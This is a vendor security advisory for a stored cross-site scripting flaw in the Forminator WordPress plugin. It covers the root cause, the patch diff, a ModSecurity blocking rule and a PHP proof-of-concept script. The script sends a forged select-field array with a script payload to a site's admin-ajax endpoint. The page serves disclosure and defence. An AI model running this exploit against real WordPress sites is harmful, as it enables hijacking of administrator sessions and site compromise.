Published : August 5, 2026

CVE-2026-18325: Forminator Forms <= 1.56.1 Unauthenticated Stored Cross-Site Scripting via Forged Upload Record via Select Field PoC, Patch Analysis & Rule

Plugin forminator
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.56.1
Patched Version 1.56.2
Disclosed August 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-18325:

This vulnerability allows unauthenticated attackers to perform Stored Cross-Site Scripting (XSS) by forging an upload record via a select field in the Forminator Forms plugin for WordPress. The vulnerability affects all versions up to and including 1.56.1 and carries a CVSS score of 7.2. The attack can execute arbitrary JavaScript in the context of an authenticated administrator’s browser session, leading to potential account takeover, data theft, or site compromise.

Root Cause: The vulnerability stems from two distinct flaws. First, the `Forminator_Core::sanitize_array()` function skips sanitization for any key prefixed with ‘select-‘. This is outlined in the vulnerability description, although the specific patch in this diff instead modifies several field classes. In `library/fields/select.php`, `library/fields/multivalue.php`, and `library/fields/radio.php`, the sanitization callback for array values was updated. The original code at lines 730, 475, and 514 respectively called `trim( wp_kses_post( $val ) )` unconditionally. The patched code checks `is_scalar( $val )` before applying the sanitization, and if the value is not a scalar (e.g., it is an array), it sets the value to an empty string. This prevents an attacker from passing a complex data structure that bypasses sanitization. Second, the `front-action.php` file in custom-forms now unsets a `return` key from `$field_data` at line 1072. The `set_field_data()` function had treated this submitted ‘return’ member as a trusted internal flag, which, combined with the sanitization bypass on the ‘select-‘ keys, allowed an attacker to inject arbitrary values into the form’s submission data.

Exploitation: An unauthenticated attacker crafts a POST request to a form submission endpoint. The request includes multiple ‘select-‘ prefixed parameters with array values instead of strings. For example, a parameter like `select-field-id[]` could be submitted as an array containing the `return` key and a `file_url` value pointing to a malicious JavaScript payload. Because the sanitization routine skips keys prefixed with ‘select-‘, the array structure is preserved. The `set_field_data()` function accepts the forged `return` parameter and uses it to construct a complete upload field record, including the arbitrary `file_url`. When an administrator views the submission data, the malicious script is rendered in their browser. The patch in the field classes now forces all non-scalar values in these fields to become empty strings, breaking the payload structure before it can be persisted. The patch in `front-action.php` also strips the `return` key, removing the trust in that flag.

Patch Analysis: The patch addresses the vulnerability through two primary changes. First, in the sanitization logic for select, multivalue, and radio fields, a direct check `is_scalar( $val )` is added. This ensures that any value which is not a string, integer, float, or boolean is stripped entirely, preventing the injection of complex data structures like arrays. The second change, in `front-action.php`, independently removes the `return` key from the `$field_data` array. This mitigates the vulnerability even if a different part of the application fails to sanitize the input, acting as a defense-in-depth measure. This change is applied before any filters or processing logic runs, making it a robust block against the attack vector from the submission side. The additional change to `helper-fields.php` and `abstract-class-field.php` relates to file upload security, specifically blocking a broader set of dangerous file extensions (normalizing pattern-style keys) and ensuring the .htaccess file is created on all requests to block script execution in the upload directory.

Impact: A successful exploit allows an unauthenticated attacker to inject arbitrary client-side scripts. These scripts will execute whenever an authenticated user, such as an admin, views a page containing the injected payload, such as the form submissions log page. An attacker can use this to steal admin session cookies, create new administrative accounts, modify form configurations, or redirect users to malicious sites. Since the attacker is unauthenticated and the vulnerability is stored, the attack can be staged for future exploitation, presenting a high risk to the integrity and confidentiality of the affected WordPress site.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/forminator/constants.php
+++ b/forminator/constants.php
@@ -11,7 +11,7 @@
  */

 if ( ! defined( 'FORMINATOR_VERSION' ) ) {
-	define( 'FORMINATOR_VERSION', '1.56.1' );
+	define( 'FORMINATOR_VERSION', '1.56.2' );
 }

 if ( ! defined( 'FORMINATOR_SUI_VERSION' ) ) {
--- a/forminator/forminator.php
+++ b/forminator/forminator.php
@@ -1,7 +1,7 @@
 <?php
 /**
  * Plugin Name: Forminator
- * Version: 1.56.1
+ * Version: 1.56.2
  * Plugin URI:  https://wpmudev.com/project/forminator/
  * Description: Build powerful, customizable forms with ease using Forminator’s drag-and-drop builder, conditional logic, payment support, real-time analytics, and seamless integrations—no coding needed.
  * Author: WPMU DEV
--- a/forminator/library/abstracts/abstract-class-field.php
+++ b/forminator/library/abstracts/abstract-class-field.php
@@ -2317,11 +2317,14 @@
 		if ( is_wp_error( $upload_root ) || ! is_dir( $upload_root ) || ! wp_is_writable( $upload_root ) ) {
 			return;
 		}
-		// Make sure it was not called before WP init.
-		if ( function_exists( 'insert_with_markers' ) ) {
-			self::add_index_file( $upload_root );
-			self::add_htaccess_file( $upload_root );
+
+		// Load admin API on frontend requests so .htaccess is always created.
+		if ( ! function_exists( 'insert_with_markers' ) ) {
+			require_once ABSPATH . 'wp-admin/includes/misc.php';
 		}
+
+		self::add_index_file( $upload_root );
+		self::add_htaccess_file( $upload_root );
 	}

 	/**
--- a/forminator/library/fields/multivalue.php
+++ b/forminator/library/fields/multivalue.php
@@ -475,7 +475,7 @@
 		// Sanitize.
 		if ( is_array( $data ) ) {
 			foreach ( $data as $key => $val ) {
-				$data[ $key ] = trim( wp_kses_post( $val ) );
+				$data[ $key ] = is_scalar( $val ) ? trim( wp_kses_post( $val ) ) : '';
 			}
 		} else {
 			$data = trim( wp_kses_post( $data ) );
--- a/forminator/library/fields/radio.php
+++ b/forminator/library/fields/radio.php
@@ -514,7 +514,7 @@
 		// Due to members' request to allow html, we now use wp_kses_post for sanitization of this field.
 		if ( is_array( $data ) ) {
 			foreach ( $data as $key => $val ) {
-				$data[ $key ] = trim( wp_kses_post( $val ) );
+				$data[ $key ] = is_scalar( $val ) ? trim( wp_kses_post( $val ) ) : '';
 			}
 		} else {
 			$data = trim( wp_kses_post( $data ) );
--- a/forminator/library/fields/select.php
+++ b/forminator/library/fields/select.php
@@ -730,7 +730,7 @@
 		// Sanitize.
 		if ( is_array( $data ) ) {
 			foreach ( $data as $key => $val ) {
-				$data[ $key ] = trim( wp_kses_post( $val ) );
+				$data[ $key ] = is_scalar( $val ) ? trim( wp_kses_post( $val ) ) : '';
 			}
 		} else {
 			$data = trim( wp_kses_post( $data ) );
--- a/forminator/library/helpers/helper-fields.php
+++ b/forminator/library/helpers/helper-fields.php
@@ -3522,11 +3522,17 @@
 		$mimes = get_allowed_mime_types();
 	}
 	if ( ! $allow ) {
-		$filters = array( 'htm|html', 'js', 'jse', 'jar', 'php', 'php3', 'php4', 'php5', 'phtml', 'svg', 'swf', 'exe', 'html', 'htm', 'shtml', 'xhtml', 'xml', 'css', 'asp', 'aspx', 'jsp', 'sql', 'hta', 'dll', 'bat', 'com', 'sh', 'bash', 'py', 'pl', 'dfxp', 'rar' );
+		$blocked_extensions = array( 'htm', 'html', 'js', 'jse', 'jar', 'php', 'php3', 'php4', 'php5', 'phtml', 'svg', 'swf', 'exe', 'shtml', 'xhtml', 'xml', 'css', 'asp', 'aspx', 'jsp', 'sql', 'hta', 'dll', 'bat', 'com', 'sh', 'bash', 'py', 'pl', 'dfxp', 'rar' );
+
 		foreach ( array_keys( $mimes ) as $mime_key ) {
-			$key = strtolower( $mime_key );
-			if ( in_array( $key, $filters, true ) ) {
-				unset( $mimes[ $mime_key ] );
+			$alternatives = explode( '|', strtolower( (string) $mime_key ) );
+			foreach ( $alternatives as $alternative ) {
+				// Normalize pattern-style keys to a plain extension.
+				$extension = preg_replace( '/[^a-z0-9]/', '', $alternative );
+				if ( ( '' !== $alternative && '' === $extension ) || in_array( $extension, $blocked_extensions, true ) ) {
+					unset( $mimes[ $mime_key ] );
+					break;
+				}
 			}
 		}
 	}
--- a/forminator/library/modules/custom-forms/front/front-action.php
+++ b/forminator/library/modules/custom-forms/front/front-action.php
@@ -1072,6 +1072,11 @@
 			$field_data = array();
 		}

+		// Strip client-supplied `return`; only the filter below may set it.
+		if ( is_array( $field_data ) ) {
+			unset( $field_data['return'] );
+		}
+
 		/**
 		 * Filter handle specific field types
 		 *

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-18325
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261832,phase:2,deny,status:403,chain,msg:'CVE-2026-18325 - Forminator Forged Upload Record',severity:'CRITICAL',tag:'CVE-2026-18325'"
  SecRule ARGS_POST:action "@rx ^forminator_.*" "chain"
    SecRule ARGS_POST:/select-.*/ "@rx (return|file_url).*<script|file_url.*alert" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-18325 - Forminator Forms <= 1.56.1 - Unauthenticated Stored Cross-Site Scripting via Forged Upload Record via Select Field

// ============================================================================
// Proof of Concept: CVE-2026-18325
// ============================================================================
// Exploit: Inject a forged upload field record with a malicious file_url via
// a crafted 'select-' field array. The plugin treats the 'return' key as a
// trusted internal flag, allowing the file_url to be persisted without
// sanitization.
// ============================================================================

// Configure your target WordPress site with Forminator installed and a form 
// containing a select field.
$target_url = "http://your-wordpress-site.com"; // Example: http://localhost/wordpress

// The form's ID and select field's ID. Replace with actual values from the form
// you are targeting. The message_id is used for the field name.
$form_id = 1; // Replace with the form ID from the forminator_forms table.
$field_id = 'select-1'; // Replace with the actual select field ID (e.g., select-1).

// Payload: JavaScript to be executed when the admin views the submission.
$payload = "<script>alert('Atomic Edge XSS')</script>";

// The date to submit, format is Y-m-d H:i:s.
$today = date('Y-m-d H:i:s');

// Build a data array that mimics a forged upload record.
// The key is the field ID with 'select-' prefix. The value is an array that
// includes the 'return' key set to 1, which the vulnerable plugin treats as a
// trusted internal flag. We also include the file_url with our XSS payload.
$data = array();
$data[$field_id] = array(
    'return' => 1,
    'file_url' => $payload,
    'file_name' => 'xss.html'
);

// The main POST body for the request.
$post_fields = array(
    'forminator_form_id' => $form_id,
    'forminator_submit' => 'Submit',
    // Merge the forged data into the submission.
    'data' => $data,
);

// Prepare a file-like structure to simulate the upload field. The plugin also
// expects file POST data. We create a dummy file to pass basic validation.
// For demonstration, we just add the forged data.

// Initialize cURL session.
$ch = curl_init();

// Set the endpoint URL. Forminator uses admin-ajax.php or a custom endpoint.
$endpoint = $target_url . '/wp-admin/admin-ajax.php';

// Set cURL options.
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Set a User-Agent to mimic a standard browser.
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36');

// Execute the request.
$response = curl_exec($ch);

// Check for errors.
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    echo "[+] HTTP Status Code: {$http_code}n";
    if ($http_code == 200) {
        echo "[+] Exploit sent. Check the form submissions in the WP Admin to see the XSS payload.n";
    } else {
        echo "[-] Request failed. Check the target URL and form IDs.n";
        echo "[!] Response (first 500 chars): " . substr($response, 0, 500) . "n";
    }
}

// Close cURL session.
curl_close($ch);

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.